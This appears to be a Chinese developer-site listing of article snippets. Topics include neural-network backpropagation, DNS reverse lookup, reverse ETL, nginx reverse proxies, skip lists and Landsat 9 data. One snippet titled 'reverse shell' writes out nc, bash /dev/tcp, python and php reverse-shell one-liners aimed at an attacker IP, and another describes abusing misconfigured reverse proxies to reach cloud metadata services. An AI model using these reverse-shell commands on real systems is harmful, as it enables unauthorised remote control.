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第9节:BP反向传播网络及其numpy实现
BP网络应用 函数逼近：用输入矢量和相应的输出矢量训练一个网络，逼近一个函数； 模式识别：用一个特定的输出矢量，将它与输入矢量联系起来 分类：把输入矢量以所定义的合适方式进行分类； 数据压缩：减少输出矢量维数
85910编辑于 2021-12-29 - 来自专栏王先森
Linux运维bind9-DNS正向解析DNS反向解析
file "boysec.cn.zone"; #解析规则保存文件名称 allow-update { none; }; #运行那些客户机动态更新解析信息 }; 自定义区域数据库文件 管理员邮箱（dnsadmin.boysec.cn.）（ 序列号(serial number) ;注释内容，十进制数据，不能超过10位，通常使用日期时间戳，例如20210115 刷新时间 $TTL 60 注释 区域数据库文件中使用;（分号）来进行注释 检查配置并生效 检查自定义区域配置 [root@k8s-dns etc]# named-checkzone boysec.cn /var/ 在DNS域名解析服务中，反向解析的作用是将用户提交的IP地址解析为对应的域名信息，它一般用于对某个IP地址上绑定的所有域名进行整体屏蔽，屏蔽由某些域名发送的垃圾邮件。 它也可以针对某个IP地址进行反向解析，大致判断出有多少个网站运行在上面。 反向解析:根据IP地址查找对应的主机名(域名)。
28.2K30编辑于 2023-04-24 - 来自专栏TensorFlow从0到N + Rust
TensorFlow从0到1 - 9 “驱魔”之反向传播大法
然而要驱动那一堆首尾相连的神经元，让其“活”起来，还有最后一个步骤，就像圣经中神造人时吹的那口生气，即本篇要说的反向传播大法（Back Propagation）。 ? 与线性回归的算法框架如出一辙，基于神经网络的机器学习，是基于数据的、运用梯度下降算法来优化网络（减小损失）的过程。 在套用这个算法框架之前，要先搞清楚神经网络的参数及其形式。 所谓的训练神经网络，就是调整这295个参数，使其对于样本数据，能够让“损失”达到最小。再次回顾二次损失函数的定义（其中n=295）： ? Hinton等人的协助下发现了“反向传播”终极大法，它们就要“活”起来了。 贴出大法秘诀一饱眼福: ? BP1 ? BP2 ? BP3 ? 而这就是反向传播的核心目的。 至此，6 解锁梯度下降算法中的随机梯度下降算法（Mini-batch SGD）所缺失的梯度值计算终于补上了。
95650发布于 2018-04-11 - 来自专栏会呼吸的Coder
数据库反向迁移命令
在实际项目开发中，一般不会创建模型，然后迁移到数据库，因为同一个数据库，可能对应着多个项目，所以此时我们需要懂得如何反向迁移。 Django django的orm模型已经内置了反向迁移命令 python manage.py inspectdb > models.py # >后面是生成的文件路径和名称 flask flask并没有配置相关的反向迁移模块 最后我个人感觉sqlacodegen相对来说还是比较好用的，可通过下方命令安装 pip install sqlacodegen 在命令行执行 sqlacodegen mysql://用户名:密码@ip:端口号/数据库 >models.py 大体跟django的类似，但是多了数据库连接 使用这个包，额外要注意一点，他会报一个错误（ mysqldb查找不到的错误）。 在报错信息中找到相应的工具包，然后将下面的代码粘贴进去就好了 import pymysql pymysql.install_as_MySQLdb(） flask因为引用的外部的工具包进行反向生成的，
2.8K40发布于 2020-02-17 - 来自专栏sktj
Kubernetes(9:数据)
作用是在Pod中共享数据 创建Pod，volumeMounts ? image.png emptyDir是Host上创建的临时目录，其优点是能够方便地为Pod中的容器提供共享存储，不需要额外的配置。
41520发布于 2019-09-24 - 来自专栏大数据学习与分享
现代数据技术栈：反向ETL
反向 ETL 是将数据从数据仓库或数据湖移回到操作系统、应用程序或其他数据源的过程。 “反向 ETL”一词可能看起来令人困惑，因为传统的 ETL（提取、转换、加载）涉及从源系统提取数据、出于分析目的对其进行转换，然后将其加载到数据仓库或数据湖中。 传统 ETL 与反向 ETL 传统ETL 反向ETL 提取：从各种操作源系统(如数据库、CRM、ERP等)提取数据。 从已经在数据仓库或数据湖中的数据开始(通常是在清理转换和丰富之后)。 将优化的数据加载到数据仓库或数据湖中，以进行高级分析查询和报告。 与传统的 ETL 不同，在传统 ETL 中，数据从源系统中提取、转换并加载到数据仓库中，而反向 ETL 的运行方式不同。 反向 ETL 的主要目标是利用来自数据仓库的见解来更新或增强这些操作系统。 为什么要反向 ETL？
38410编辑于 2024-04-24 - 来自专栏全栈程序员必看
nginx反向代理数据库端口安全吗(nginx反向代理80端口)
nginx 反向代理数据库端口 使用场景如下： 当数据库在服务器A 并且处于外网无法直接访问时，此时同局域网下只有服务器B提供对外访问，客户能访问b 却无法访问A 的情况下，由于两台服务器处于同局域网 ，并且服务器A 有端口是开放的，可以在服务器B 内进行nginx 反向代理 安装nginx 首先在服务器b内，安装nginx（docker 化的也可以） 如果是docker 的nginx 需要进入 docker proxy_connect_timeout 10s; proxy_timeout 300s; proxy_pass name; } } 如果是docker 记得重启，然后数据库就可以通过访问服务器 b的7932端口，映射到服务器A 的数据库端口了 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/127564.html原文链接：https://javaforall.cn
1.4K20编辑于 2022-07-25 - 来自专栏mysql
hhdb数据库介绍(9-9)
高可用服务读写分离计算节点支持读写分离功能，并且支持配置读写分离权重读写分离功能说明要使用读写分离功能，需在数据节点中配置主备存储节点。读写分离功能默认设置为关闭。 -- 不开启读写分离：0；可分离的读请求发往所有可用数据源：1；可分离的读请求发往可用备数据源：2；事务中发生写前的读请求发往可用备数据源：3--><property name="weightForSlaveRWSplit strategyForRWSplit参数为1时可设置主备存储节点的读比例，设置备存储节点读比例后<em>数据</em>节点下的所有备存储节点均分该比例的读任务。 strategyForRWSplit参数为2时<em>数据</em>节点上的所有可分离的读任务会自动均分至该<em>数据</em>节点下的所有备存储节点上，若无备存储节点则由主存储节点全部承担。 用户级别的读写分离可通过管理平台创建<em>数据</em>库用户页面添加用户或编辑用户开启用户级别的读写分离。
23110编辑于 2024-11-29 - 来自专栏技术集锦
练习9—数据计算
题目 写一个简单的函数实现下面的功能：具有三个参数，完成对两个整型数据的加、减、乘、除四种操作，前两个为操作数，第三个参数为字符型的参数。 ; } 说明 注意switch-case语句中case处的数据类型，因为设定了变量c为char类型，所以需要使用 c = input.next().charAt(0) 语句接收用户键盘上的单个字符输入
30720编辑于 2022-06-03 - 来自专栏Khan安全团队
滥用反向代理，第 1 部分：元数据
访问元数据服务的另一个可能途径是通过错误配置的反向代理（有些人确实将其归类为 SSRF）。 开放代理类型入门 转发：典型的用例是允许私有网络用户通过一个公共出口点访问互联网。 反向：典型的用例是允许互联网用户通过网关访问某些可访问互联网的服务，并阻止对其他后端系统的访问。 如果配置不正确，反向代理可以允许对代理可以访问的其他主机（包括本地接口上的自身）进行超出意图的访问。 如果代理服务在带有 IMDS 的云系统上运行，则可以访问元数据服务，因为代理请求来自本地主机（反向代理工作的副产品）。 IMDSv1（在此处讨论）缺少任何身份验证/授权。 让我们仔细看看与普通反向代理相比，攻击是如何工作的。 如上所示，由于代理规则不正确（或缺少），客户端可以访问任何主机。这可能导致私有网络访问（对运行代理的 VM 可访问的任何主机）以及元数据服务。
1K10编辑于 2022-01-17 - 来自专栏全栈程序员必看
Django根据数据库反向生成models
mysql 1.创建工程 django-admin.py startproject helloworld 2.创建app python manage.py startapp hello 3.配置app和数据库 django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'hello', ) 再配置数据库 ： DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': '数据库名' root', 'PASSWORD': 'root', 'HOST': '192.168.1.1', 'PORT': '3306', } } 4.反向生成 model导入到app的model.py文件里 python manage.py inspectdb > hello/models.py ps:在执行命令的时候遇到了一些问题，在此记录一下 第一次执行数据库相关命令报错
65830发布于 2021-05-19 - 来自专栏张善友的专栏
.NET + SignalR 的反向代理 websockethttp 数据隧道
它的启动参数是： <server>，TutoProxy.Server服务器的地址，例如 http://200.100.10.1:8088 <sendto>，数据目标的 IP，例如 127.0.0.1 -
73210编辑于 2023-05-23 - 来自专栏黯羽轻扬
反向代理为什么叫“反向”代理？
“反向”自然是相对“正向”来说的，那么，首先要知道什么是正向代理？ 正向代理 正向代理是对外的，面向外部资源，用来从网络上获取各种数据： A forward proxy is an Internet-facing proxy used to retrieve data 所以，正向代理更靠近客户端，与客户端的关系更密切（跟服务器关系一般，不熟） 反向代理 反向代理负责把流量根据配置规则重定向到内部服务器，外部请求并不知道内网的存在： A reverse proxy taking 从方向上看，正向代理代表客户端请求资源，反向代理代表服务器提供资源： why reverse proxy named as reverse 四.反向代理有什么作用？ 、学校等 SSL 加速 对于 HTTP 服务，可以通过一层反向代理来实现 SSL 加密，具体见nginx HTTPS 反向代理 负载均衡 反向代理还可以用来实现负载均衡机制，如下图： 根据既定转发规则（
2.3K21发布于 2020-02-17 - 来自专栏鱼皮客栈
反向压力
一个有趣的编程小知识 大家好，我是鱼皮，今天分享一个实用的编程小知识 —— 反向压力。 在介绍反向压力前，我们先聊聊什么是压力？ 什么是压力？ [反向压力] 反向压力的好处 反向压力实际上是 流量控制 的一种解决方案，可以使得调用方和处理方的能力相匹配，从而保护系统的各节点处于持续的正常工作状态。 反向压力的应用 有流量控制的需求，就会有反向压力的身影。 此外，反向压力的思想也很实用，比如 TCP 网络协议的流量和拥塞控制中，实际是由发送方和接收方共同确认数据包滑动窗口的大小，从而控制传输包的速率。 [TCP 协议数据包传输] 因此，反向压力还是很值得学习的！ 至于它如何实现，还是有很大学问的，不同框架的实现方式也不同，大家可以自行了解。
1.9K113发布于 2021-08-30 - 来自专栏云计算运维
反向代理
概念 反向代理是nginx的一个重要功能，在编译安装时会默认编译该模块。在配置文件中主要配置proxy_pass指令。 作用： 与正向代理（正向代理主要是代理客户端的请求）相反，反向代理主要是代理服务器返回的数据，所以它的作用主要有以下两点： 可以防止内部服务器被恶意攻击（内部服务器对客户端不可见）。
96000发布于 2021-08-30 - 来自专栏子云笔记
反向shell
333 > 1.exe发送端：nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向 shell：目标机：nc 172.18.13.90 9999 -e /usr/bin/bash攻击机：nc -lvp 9999python反向shell目标机：python3 -c 'import socket os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'攻击机：nc -lvp 9999bash反向 shell目标机：bash -i >& /dev/tcp/172.18.13.90/9999 0>&1攻击机：nc -lvp 9999php反向shellapt install php7.4目标机：php -r '$sock=fsockopen("172.18.13.90",9999);exec("/usr/bin/sh -i <&3 >&3 2>&3");'攻击机：nc -lvp 9999perl反向
75100编辑于 2022-06-26 - 来自专栏CSDN搜“看，未来”
数据结构（9）-- 跳表
文章目录 跳表 跳表的搜索 跳表的插入 抛硬币 跳表的删除 跳表的代码实现 跳表数据结构 初始化跳表 插入节点 删除节点 销毁跳表 为什么Redis要用跳表来实现有序集合？ 跳表(skip list) 对应的是平衡树(AVL Tree)，是一种 插入/删除/搜索 都是 O(log n) 的数据结构。它最大的优势是原理简单、容易实现、方便扩展、效率更高。 节点，发现17比其大，向后搜索，发现6后面的节点指向了Nil(第4层)，那么搜索的层数降低1层， 从此节点的第3层开始搜索，发现下个节点是25，大于17，那么再降低一层，从2层开始搜索，发现第2层是9， 小于17，继续搜索，发现9节点的下一个数是17，搜索完成。 ---- 跳表的代码实现 跳表数据结构 如上图中的E节点，表示的是头节点，一般跳表的实现，最大有多少层(MAX_LEVEL)是确定的。所以e的个数是固定的。
50730发布于 2021-09-18 - 来自专栏机器学习/数据可视化
数据平滑9大妙招
今天给大家分享9大常见数据平滑方法：移动平均Moving Average指数平滑Exponential Smoothing低通滤波器多项式拟合贝塞尔曲线拟合局部加权散点平滑LoessKalman滤波小波变换 它对最近的数据点给予较高的权重，而对较早的数据点给予较低的权重。这使得EMA更适合用于追踪快速变化的数据。 指数平滑的主要特点包括：加权平滑：指数平滑使用指数权重来平滑数据。较新的数据点获得更高的权重，而较旧的数据点获得较低的权重。这意味着它对最近的数据更为敏感，从而更好地捕获了数据的最新趋势。 7, 8, 9])y = np.array([10, 8, 7, 6, 5, 4, 3, 2, 1])# 三阶多项式拟合degree = 3coefficients = np.polyfit(x, y 数据平滑：Savitzky-Golay滤波器旨在平滑数据，减小数据中的高频噪声和突发波动。它保留了数据中的趋势和主要特征，同时去除了噪声。
6K44编辑于 2023-10-13 - 来自专栏全栈程序员必看
Landsat 9 数据详细介绍
目录 1.基本情况 2.Landsat9数据介绍 2.1 Landsat系列波段信息图谱 2.2 Landsat9基本信息 2.2.1 Quick Facts 2.2.2 LANDSAT9 波段信息 ，实际于于2021年9月27日发射，并已经开始采集第一批数据，2021年10月31日获取到遥感数据。 Landsat 9 的 OLI-2 和 TIRS-2 的 14 位数据将其增加到 16,384 个数据值。 然而，不同之处在于，Landsat 9 将下行链接 OLI-2 产生的所有 14 位数据，与从 Landsat 8 的 OLI 下行链接的 12 位数据相比，为其图像提供更大的位深度。 Landsat9数据目前成处于检查期，后期将于USGS网站免费共享。
5.2K20编辑于 2022-09-15 - 来自专栏机器学习/数据可视化
pandas系列9-数据规整
层次化索引hierarchical indexing 数据分散在不同的文件或者数据库中 层次化索引在⼀个轴上拥有多个（两个以上）索引级别 低维度形式处理高维度数据 import numpy as np , 3, 3], [0, 1, 2, 0, 2, 0, 1, 1, 2]]) data['b'] 1 -0.731398 3 -0.707528 dtype: float64 # 部分索引选取数据子集 0.382131 2 -0.177199 d 2 -0.826364 3 -1.874992 dtype: float64 data.unstack() # 将层次化索引的数据变成 0.707528 c 1 -0.382131 2 -0.177199 d 2 -0.826364 3 -1.874992 dtype: float64 # 对于DF类型数据 pandas.merge：根据键将不同DF中的行连接起来，类似于数据库的join操作 pandas.concat：沿着轴将对象叠在一起 法combine_first可以将重复数据拼接在⼀起，⽤⼀个对象中的值填充另
1K10发布于 2021-03-02
腾讯云开发者
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